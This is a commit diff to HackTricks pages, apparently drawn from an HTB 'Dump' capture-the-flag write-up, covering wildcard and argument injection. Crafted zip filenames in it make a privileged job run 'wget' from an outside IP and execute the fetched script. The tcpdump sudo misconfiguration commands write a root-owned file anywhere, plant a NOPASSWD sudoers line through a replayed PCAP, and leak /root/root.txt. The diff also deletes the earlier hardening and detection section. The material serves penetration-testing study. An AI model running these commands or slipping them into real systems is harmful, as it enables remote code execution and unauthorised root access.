Skip to content

Commit 7ad36ac

Browse files
author
HackTricks News Bot
committed
Add content from: HTB: Dump — Zip argument injection to RCE and tcpdump sudo m...
1 parent 552cc55 commit 7ad36ac

File tree

2 files changed

+92
-19
lines changed

2 files changed

+92
-19
lines changed

src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md

Lines changed: 87 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -95,13 +95,32 @@ If root executes something like:
9595

9696
## zip
9797

98-
`zip` supports the flag `--unzip-command` that is passed *verbatim* to the system shell when the archive will be tested:
98+
Two very practical primitives exist when an application passes user-controlled filenames to `zip` (either via a wildcard or by enumerating names without `--`).
99+
100+
- RCE via test hook: `-T` enables “test archive” and `-TT <cmd>` replaces the tester with an arbitrary program (long form: `--unzip-command <cmd>`). If you can inject filenames that start with `-`, split the flags across distinct filenames so short-options parsing works:
101+
102+
```bash
103+
# Attacker-controlled filenames (e.g., in an upload directory)
104+
# 1) A file literally named: -T
105+
# 2) A file named: -TT wget 10.10.14.17 -O s.sh; bash s.sh; echo x
106+
# 3) Any benign file to include (e.g., data.pcap)
107+
# When the privileged code runs: zip out.zip <files...>
108+
# zip will execute: wget 10.10.14.17 -O s.sh; bash s.sh; echo x
109+
```
110+
111+
Notes
112+
- Do NOT try a single filename like `'-T -TT <cmd>'` — short options are parsed per character and it will fail. Use separate tokens as shown.
113+
- If slashes are stripped from filenames by the app, fetch from a bare host/IP (default path `/index.html`) and save locally with `-O`, then execute.
114+
- You can debug parsing with `-sc` (show processed argv) or `-h2` (more help) to understand how your tokens are consumed.
115+
116+
Example (local behavior on zip 3.0):
99117

100118
```bash
101-
zip result.zip files -T --unzip-command "sh -c id"
119+
zip test.zip -T '-TT wget 10.10.14.17/shell.sh' test.pcap # fails to parse
120+
zip test.zip -T '-TT wget 10.10.14.17 -O s.sh; bash s.sh' test.pcap # runs wget + bash
102121
```
103122

104-
Inject the flag via a crafted filename and wait for the privileged backup script to call `zip -T` (test archive) on the resulting file.
123+
- Data exfil/leak: If the web layer echoes `zip` stdout/stderr (common with naive wrappers), injected flags like `--help` or failures from bad options will surface in the HTTP response, confirming command-line injection and aiding payload tuning.
105124

106125
---
107126

@@ -159,28 +178,79 @@ No-removable-media variants:
159178
- If you have any other primitive to write files (e.g., a separate command wrapper that allows output redirection), drop your script into a known path and trigger `-z /bin/sh /path/script.sh` or `-z /path/script.sh` depending on platform semantics.
160179
- Some vendor wrappers rotate to attacker-controllable locations. If you can influence the rotated path (symlink/directory traversal), you can steer `-z` to execute content you fully control without external media.
161180

162-
Hardening tips for vendors:
181+
---
182+
183+
## sudoers: tcpdump with wildcards/additional args → arbitrary write/read and root
184+
185+
Very common sudoers anti-pattern:
186+
187+
```text
188+
(ALL : ALL) NOPASSWD: /usr/bin/tcpdump -c10 -w/var/cache/captures/*/<GUID-PATTERN> -F/var/cache/captures/filter.<GUID-PATTERN>
189+
```
190+
191+
Issues
192+
- The `*` glob and permissive patterns only constrain the first `-w` argument. `tcpdump` accepts multiple `-w` options; the last one wins.
193+
- The rule doesn’t pin other options, so `-Z`, `-r`, `-V`, etc. are allowed.
194+
195+
Primitives
196+
- Override destination path with a second `-w` (first only satisfies sudoers):
197+
198+
```bash
199+
sudo tcpdump -c10 -w/var/cache/captures/a/ \
200+
-w /dev/shm/out.pcap \
201+
-F /var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
202+
```
203+
204+
- Path traversal inside the first `-w` to escape the constrained tree:
205+
206+
```bash
207+
sudo tcpdump -c10 \
208+
-w/var/cache/captures/a/../../../../dev/shm/out \
209+
-F/var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
210+
```
211+
212+
- Force output ownership with `-Z root` (creates root-owned files anywhere):
163213

164-
- Never pass user-controlled strings directly to `tcpdump` (or any tool) without strict allowlists. Quote and validate.
165-
- Do not expose `-z` functionality in wrappers; run tcpdump with a fixed safe template and disallow extra flags entirely.
166-
- Drop tcpdump privileges (cap_net_admin/cap_net_raw only) or run under a dedicated unprivileged user with AppArmor/SELinux confinement.
214+
```bash
215+
sudo tcpdump -c10 -w/var/cache/captures/a/ -Z root \
216+
-w /dev/shm/root-owned \
217+
-F /var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
218+
```
167219

220+
- Arbitrary-content write by replaying a crafted PCAP via `-r` (e.g., to drop a sudoers line):
168221

169-
## Detection & Hardening
222+
<details>
223+
<summary>Create a PCAP that contains the exact ASCII payload and write it as root</summary>
170224

171-
1. **Disable shell globbing** in critical scripts: `set -f` (`set -o noglob`) prevents wildcard expansion.
172-
2. **Quote or escape** arguments: `tar -czf "$dst" -- *` is *not* safe — prefer `find . -type f -print0 | xargs -0 tar -czf "$dst"`.
173-
3. **Explicit paths**: Use `/var/www/html/*.log` instead of `*` so attackers cannot create sibling files that start with `-`.
174-
4. **Least privilege**: Run backup/maintenance jobs as an unprivileged service account instead of root whenever possible.
175-
5. **Monitoring**: Elastic’s pre-built rule *Potential Shell via Wildcard Injection* looks for `tar --checkpoint=*`, `rsync -e*`, or `zip --unzip-command` immediately followed by a shell child process. The EQL query can be adapted for other EDRs.
225+
```bash
226+
# On attacker box: craft a UDP packet stream that carries the target line
227+
printf '\n\nfritz ALL=(ALL:ALL) NOPASSWD: ALL\n' > sudoers
228+
sudo tcpdump -w sudoers.pcap -c10 -i lo -A udp port 9001 &
229+
cat sudoers | nc -u 127.0.0.1 9001; kill %1
230+
231+
# On victim (sudoers rule allows tcpdump as above)
232+
sudo tcpdump -c10 -w/var/cache/captures/a/ -Z root \
233+
-r sudoers.pcap -w /etc/sudoers.d/1111-aaaa \
234+
-F /var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
235+
```
236+
237+
</details>
238+
239+
- Arbitrary file read/secret leak with `-V <file>` (interprets a list of savefiles). Error diagnostics often echo lines, leaking content:
240+
241+
```bash
242+
sudo tcpdump -c10 -w/var/cache/captures/a/ -V /root/root.txt \
243+
-w /tmp/dummy \
244+
-F /var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
245+
```
176246

177247
---
178248

179249
## References
180250

181-
* Elastic Security – Potential Shell via Wildcard Injection Detected rule (last updated 2025)
182-
* Rutger Flohil – “macOS — Tar wildcard injection” (Dec 18 2024)
183-
* GTFOBins – [tcpdump](https://gtfobins.github.io/gtfobins/tcpdump/)
184-
* FiberGateway GR241AG [Full Exploit Chain](https://r0ny.net/FiberGateway-GR241AG-Full-Exploit-Chain/)
251+
- [GTFOBins - tcpdump](https://gtfobins.github.io/gtfobins/tcpdump/)
252+
- [GTFOBins - zip](https://gtfobins.github.io/gtfobins/zip/)
253+
- [0xdf - HTB Dump: Zip arg injection to RCE + tcpdump sudo misconfig privesc](https://0xdf.gitlab.io/2025/11/04/htb-dump.html)
254+
- [FiberGateway GR241AG - Full Exploit Chain](https://r0ny.net/FiberGateway-GR241AG-Full-Exploit-Chain/)
185255

186256
{{#include ../../banners/hacktricks-training.md}}

src/pentesting-web/xs-search/css-injection/less-code-injection.md

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,6 @@
1-
## LESS Code Injection leading to SSRF & Local File Read
1+
# LESS Code Injection leading to SSRF & Local File Read
2+
3+
{{#include ../../../banners/hacktricks-training.md}}
24

35
LESS is a popular CSS pre-processor that adds variables, mixins, functions and the powerful `@import` directive. During compilation the LESS engine will **fetch the resources referenced in `@import`** statements and embed ("inline") their contents into the resulting CSS when the `(inline)` option is used.
46

@@ -59,4 +61,5 @@ curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
5961

6062
* [SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability](https://karmainsecurity.com/KIS-2025-04)
6163
* [SugarCRM Security Advisory SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/)
62-
* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258)
64+
* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258)
65+
{{#include ../../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)